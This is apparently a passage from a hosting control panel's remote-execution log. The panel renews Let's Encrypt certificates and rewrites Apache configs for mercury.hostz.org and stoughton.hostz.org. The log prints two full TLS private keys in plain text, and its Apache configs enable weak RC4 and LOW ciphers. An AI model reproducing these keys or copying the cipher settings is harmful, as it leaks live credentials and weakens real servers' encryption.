#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2026-04-20 06:00:25: 

PUT: /tmp/pkp267001

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 06:00:25: 

chmod 755 /tmp/pkp267001; /tmp/pkp267001; rm /tmp/pkp267001

2026-04-20 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5356
4d:4e:a2:c3:87:89:56:ec:88:b1:ec:23:49:63:62:0e

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBpIGkOYWCxTSj7xBy9amrx1OMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIwMDUwMTQ0WhcNMjYwNzE5MDUwMTQzWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA5exCoK347sXry7FlBEMAmsnJtVMjEsvsdAmM92mATQAhZg/Yo826dZBz
ATbyvPYU6aIdOpZAPnccxYEuT6nMLE2mmbc/0+rpLFEOwth5fa4jpzPlgCRmj8c5
cotKkYFJYoUlUbquTjcdpO1wt3DlkDXVMJ9J14LHLnFCD4oiBwMVtkeRvm4UAgsr
3Wo+T5TDcmv8LYRjmQidk15xFzGIGft+W+zeOpcyf92c7jSYJ2x6akorkH9wUwh1
2mKOco65c0ytn5dRbqr3rUZONZCLO7vlJPS5yOF7QXBBxxXLIx6EoZZuyKaSSmZN
RqeUSz18XQbNm5/1jRgnvkFjpQgbhwIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FPxhRcsFvP3XbWtXfgWZQowO4qQ3MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc3RvdWdodG9uLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzc5LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2ANgJVTuU
T3r/yBYZb5RPhauw+Pxeh1UmDxXRLnK7RUsUAAABnal5o9MAAAQDAEcwRQIhAK9N
mhsfXdhzntE2rxgdc8ewUgElec4TwBNqZglXqKKEAiAF+0w1vMYmEozdPp/DHmXN
NoFgzNwsjjfdEOMOmhqVzQB+ACbjZG5YaSEjvDQ/RyQ1mzeSzSRaiNgV05Mz/ZkY
q0cjAAABnal5o7YACAAABQAIq+NeBAMARzBFAiEA+rXVOYZn03IfvwZi8cfvIjss
I3uU3IiIgaI/GAoTMp8CIHPGSAw7T+1u1xYJGjp877j6akbb82Yt0138VXkIYklG
MA0GCSqGSIb3DQEBCwUAA4IBAQAhiailWwn3NrfZGoA3KZ+PvOTs7382Fghx3VIC
WCQ7HI9Y3M+MTG3Kq260GdHxZJ/gAeZWyS4vJ1DygLo++Zp9vxNTtN19PPv1xiDk
zrdzklK6IeZ2fnHSRjQSMgh8jOQAT0d2BgZ/8ShmhHemUoOBV2wcnhe1sWnR1OKi
N/m0QgcaHWG/hAI6OO9Hgj8Pgg62TocWp36/KkZLXzBueR40vcqDvYREMez2r0Pk
r5ObaDKAUuHJDKg7eaSqIQ4A1NTJxC4FT74YGHhsfoKo9R1bNKoBCmAicyc7SWEj
Bx3ymfLl55WhMMUHCiv5kDM95QRgWLGeQdEfUZgb0qnViD//
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDl7EKgrfjuxevL
sWUEQwCaycm1UyMSy+x0CYz3aYBNACFmD9ijzbp1kHMBNvK89hTpoh06lkA+dxzF
gS5PqcwsTaaZtz/T6uksUQ7C2Hl9riOnM+WAJGaPxzlyi0qRgUlihSVRuq5ONx2k
7XC3cOWQNdUwn0nXgscucUIPiiIHAxW2R5G+bhQCCyvdaj5PlMNya/wthGOZCJ2T
XnEXMYgZ+35b7N46lzJ/3ZzuNJgnbHpqSiuQf3BTCHXaYo5yjrlzTK2fl1Fuqvet
Rk41kIs7u+Uk9LnI4XtBcEHHFcsjHoShlm7IppJKZk1Gp5RLPXxdBs2bn/WNGCe+
QWOlCBuHAgMBAAECggEAAUkpdDmU10z/DRQQYw423ia7vIpa+1ttlpaJFcceww95
oFb9WKkpXkfxBLQ4dksQAeB4tl+pu0+yNv6KckKaVDMY9+oY7sf1BtzrLrbEMyo6
o9A7+9P4SNyN2zChOaAV93mUJFldaS2Qul/jjfsRJZXPe+agJJbkI0PZ4TleCFj+
2uXrm9/FE/ZpfVf6zZbJb4nBst1fMiFDI46+xjWbDNZ6uB4FNwqM322SrWtoQTiw
pqFPJ9CUrS4Cf03pIM5ozAduSvEgXiiglmK/Ic0bB8UZckX8USHP1c7jI4Kw4Kji
aQP5VnWVzKQATQ4FmW48+VU8RpApz9beMQkw7VP2NQKBgQD0tNpvijo92QM8kKUj
pl0uUx/3zfSxh9vC58IyToJ7J0HYWYaeZ26HBn99ojNUxDunbSu2ZWhAhs9lwzn+
VgICekA0uwcDTrssbH75QfD3H2a9sulRrxe8Kks0ffKz31BxtR6JIydRIvJmpJ12
NXXBLYY2lZPi0lMc6a2mugYaCwKBgQDwiL4nlhO9M4PzqVevvhv5eqp/ktoLH997
c3ZLY3w6Y9yImtqqpvfVv5rRa2DV+4CK0dcC4IkMV3GEhTyEb0uuokaSehlYDcd1
VBpw27VZhhCM0RaFAZmSpuFVptrf1qf09UfNmEeLCY58Ep8jtM1ixpTFQ+gwEI88
fbImB1/t9QKBgByE72hMfdkzb5MhcH2lJ/r8KR+iW0BNiyk+BX4DdGWR/7SNSokv
mMwXz8f+nWjlreYnbQ7G5s2OaKF9jUa9E2LiiJUcrwaNqHbW9j1qmADVIg49yb+B
XozJiRZHD4AzKJb3+uUUucJVBlc8HDXoqR6ohZna+O9Yf+NAwMJLr+ZdAoGAZJms
fj4Ej3NGUtiWtggbByLIwIaY72IrRCSsayd2w60UhYXOwuUGbr2ucLwqShTgVC8j
cC6c4y6HadeX0gQCcU2pmoW6p9tLesTsMhuSI5kwvtSMSKC8rFtjj0Ez9b5/jLIx
j8mK0pnyn+3h5TsvU4qemkqmh8PFRJWFtuYKtykCgYEAvM7EUZy91cdTIFwPk3xj
s7Kmu5MBj7kRZlQEScrlw4iYRy+vkJdIGEfdFV6RABB5Sk86RsQnTTritQUN5Yxh
RvJvNlokrqsqtxpAvF+zNn8pICQXAA0pss8k4tEll7Lltw2ea2RWaa4wfBfN7ppZ
lDUAtuoIN1MkV5YCg1fqVcw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-20 06:00:25: Establishing a connection
2026-04-20 06:00:27: Establishing a connection
2026-04-20 06:00:28: 

PUT: /tmp/pkp972641

#!/bin/bash
if [ -d "/var/www/hostz_mercury/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-20 06:00:29: 

chmod 755 /tmp/pkp972641; /tmp/pkp972641; rm /tmp/pkp972641

2026-04-20 06:00:29: 


1


2026-04-20 06:00:30: Establishing a connection
2026-04-20 06:00:31: 

PUT: /tmp/pkp495039

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
cat > 3usL9J-5PD0o_p1lg7eAM8MfMrQN8_ey2yM5-hg1zzw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3usL9J-5PD0o_p1lg7eAM8MfMrQN8_ey2yM5-hg1zzw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3usL9J-5PD0o_p1lg7eAM8MfMrQN8_ey2yM5-hg1zzw


2026-04-20 06:00:32: 

chmod 755 /tmp/pkp495039; /tmp/pkp495039; rm /tmp/pkp495039

2026-04-20 06:00:32: 




2026-04-20 06:00:37: Establishing a connection
2026-04-20 06:00:38: 

PUT: /tmp/pkp737031

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
rm 3usL9J-5PD0o_p1lg7eAM8MfMrQN8_ey2yM5-hg1zzw


2026-04-20 06:00:39: 

chmod 755 /tmp/pkp737031; /tmp/pkp737031; rm /tmp/pkp737031

2026-04-20 06:00:39: 




2026-04-20 06:00:39: Establishing a connection
2026-04-20 06:00:41: 

PUT: /tmp/pkp350292

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
d5:a2:05:3f:a4:9f:fa:e6:12:17:aa:90:08:9c:69:8a

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBlZNWKnAhqObMZ9uBHVpdRFSMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIwMDUwMjA1WhcNMjYwNzE5MDUwMjA0WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANqIpiwIsknBJstuVjryP0Or/6tYWC60q3w7jxp4bM6JlWUMgCF5vdL6NstN
q9fe1Uavp8c1wAkEW/7ZgWqRz978rdZP77i67InnUCRWKRVb3zH8aRtAiW0fSpjY
mMCkt1VagOlIfsPZGiV2/iKdVu3jjd6LH9hTBLKAo5aryoUSSM/oiPPrOyYqaLNf
uDgPaIBDjtC9UvrInqRQUvPMOZqRI3AaGacxFtzXcdLSovBYVD9M0dpqGrBNLMVd
pbVNjTw1msjWPFTbB4Qc+wrqMdbE6MZ1y/msNCYNbtHdnGrHJezpXHfij4oePGps
MHlxnzq8JGEtCqv8zOC81BL9MBMCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSY
njWp/QhkTKDXgiAtizchzs36DDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lcmN1cnkuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAr2eIO1ewTt2P
ptl+9i6o64EKx3Fg8CReVdYML+eFhzoAAAGdqXn1/wAABAMARzBFAiEAppCvidW2
A+LmFdkwN9WbgRZl4e+AA+cKfPk64u7U1UwCIEkGFwHJJIunqo3Qm8xl9VMmyfhb
Qz14amOKhS8wmmcDAH8AJuNkblhpISO8ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMA
AAGdqXn1SgAIAAAFAAir6F0EAwBIMEYCIQDba6YdjaLXFkRvR4si0XmGpEi4T2bu
ObbNos7DD38CvgIhAK/mP6I4KRMPZbE4XnwvA8Gjn7qHZQcMqlaoInSEj1PqMA0G
CSqGSIb3DQEBCwUAA4IBAQBRU0K+LU1ypF7WmTL2127Fj8ExqsvnOjLRVbOrchnY
AxieOHKLT2ZUUwgLW/HgXwknoeV3OPP/l2ddQKQqQwa4v5enBZRQdLLLv2a2ux+G
qXH/N/oUJQWooKoQOccPd5F0I8KwTIhyj+sOFBSyqwb4tZL2myGCl8fa/fidph1c
7UtOI5sGh9pg+qdZlp4gF2OYfctfFyoKyefGWzF6lI31XexgrDkP/727mcOrSjYb
96BTgbmTrWtUAn1wfIzKgotn1PrsE7rgBuVQmIcSYKur0Kp83Bsm4zJToOh+ciXT
02Zx27EPC161LYTHNm7spzw4+z3zWlR/v6mUYcLMrcOM
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDaiKYsCLJJwSbL
blY68j9Dq/+rWFgutKt8O48aeGzOiZVlDIAheb3S+jbLTavX3tVGr6fHNcAJBFv+
2YFqkc/e/K3WT++4uuyJ51AkVikVW98x/GkbQIltH0qY2JjApLdVWoDpSH7D2Rol
dv4inVbt443eix/YUwSygKOWq8qFEkjP6Ijz6zsmKmizX7g4D2iAQ47QvVL6yJ6k
UFLzzDmakSNwGhmnMRbc13HS0qLwWFQ/TNHaahqwTSzFXaW1TY08NZrI1jxU2weE
HPsK6jHWxOjGdcv5rDQmDW7R3ZxqxyXs6Vx34o+KHjxqbDB5cZ86vCRhLQqr/Mzg
vNQS/TATAgMBAAECggEAaZbD/5u2FVfbuEhYJsQcmER3VKFrfimyf+TBKK+OFx84
DWqEUGhjtRhLuGCPis6yqyQ9Q04vusud7Z3HX6gTUbEyB055S/8ZQip/OQdec2EA
D0VfvZiprg2D/CUPbWlI4ddIWS87fMKd1QNRGIWAVpHv3trG6L14FA1+vVLFGBUQ
gEP6zHbjX2cmJu8K4dpWFn2EsnMoTgTS5GiqXYiHPzZe8ipRGYOG6E7Y6kxjPn/a
ozc0g7SLOoZLDthCIdpoSeiRAv12dVsJS52/is1Fvl8peJQaTUJGJcv/immaQTMY
63dvRi8wulW8+wHRly5En1InmXhnxXof/pp01Aam+QKBgQDuxMJmCSDRUidjJ7aV
1A/cudAEDfPDVuZhdNr4NtioLDYG9qtdxR0nECSrqQuD12rxud7jvGlXJwg1AaXA
hRMO+EzG+BrPHsAE5WpMaTvn+9r4Tg+R7vO6ein4VEquirDofd5dkX0pOjlQuajq
EBTgagm3FAUioipEBDkH1sx9yQKBgQDqTg1vBF9iR2fmU5jahzyhBMYhwWj9VVmL
/s4tPayAxFd/BSm/JYah3LtduOhVEQDwrsRLiuFw4CdH5aV+v6ncN4JO8zZ4HWIU
dhCcWRl/LewabESWirne4HT0/2TRXvdibY5792PYFtaMQ1QWh/SImpTB6Kc9T4gr
Y/eVrUz8+wKBgAIFoovQqfl705+QV4h/Sj8ZR7yxDY5q7vqGTdBqTn1mGnMGpb7e
i3eoOFdH0DQmn946L7wH/XBigTxJrkiqF9Y5nhTVRwzX+tJPyw2omnxFcr5FkvYu
atv6at6SgCtoO0VMw5RRRhkSSCf52odY6YRZAYoOXljDvM3kp0L8u7CZAoGAHfsy
2NvUYL0GXICh9ISNi4US3UrkZlY/iRxnwX48zpVRJN3CQ8VHfvrBtvJsOEZeum2C
jLAOvOTR4e9Ox/M6hwVLVVLly2TnIfshkQANtSppJdBozmKd+hj6nkb33ZqrSRr/
unkje4kglv4eimuHLNuq4U0l6UB+Ch9WlP6B9XUCgYATRAnEXYGp0PbPQpgGUrBU
BbnARuC+2IzMvEPGfcLK4uVgvJvrAJ/hCaNp9C0FZHjRq49kT6+7YGnNGgIM70wu
gZZmDqMfTGdApGAbvFs1gYgSA8kG4CbqTq91TBYD66Hl2af2CeuuATn9IGk1qQHp
Som7qJ+gw8oYDvshYmtwjA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-20 06:00:42: 

chmod 755 /tmp/pkp350292; /tmp/pkp350292; rm /tmp/pkp350292

2026-04-20 06:00:42: 


dir=/etc/ssl/certs


2026-04-20 06:00:42: 

PUT: /tmp/pkp690023

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_mercury_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 06:00:42: 

chmod 755 /tmp/pkp690023; /tmp/pkp690023; rm /tmp/pkp690023

2026-04-20 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 38

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-20 06:00:43: 

PUT: /tmp/pkp446738

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_mercury_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_mercury_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_mercury_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
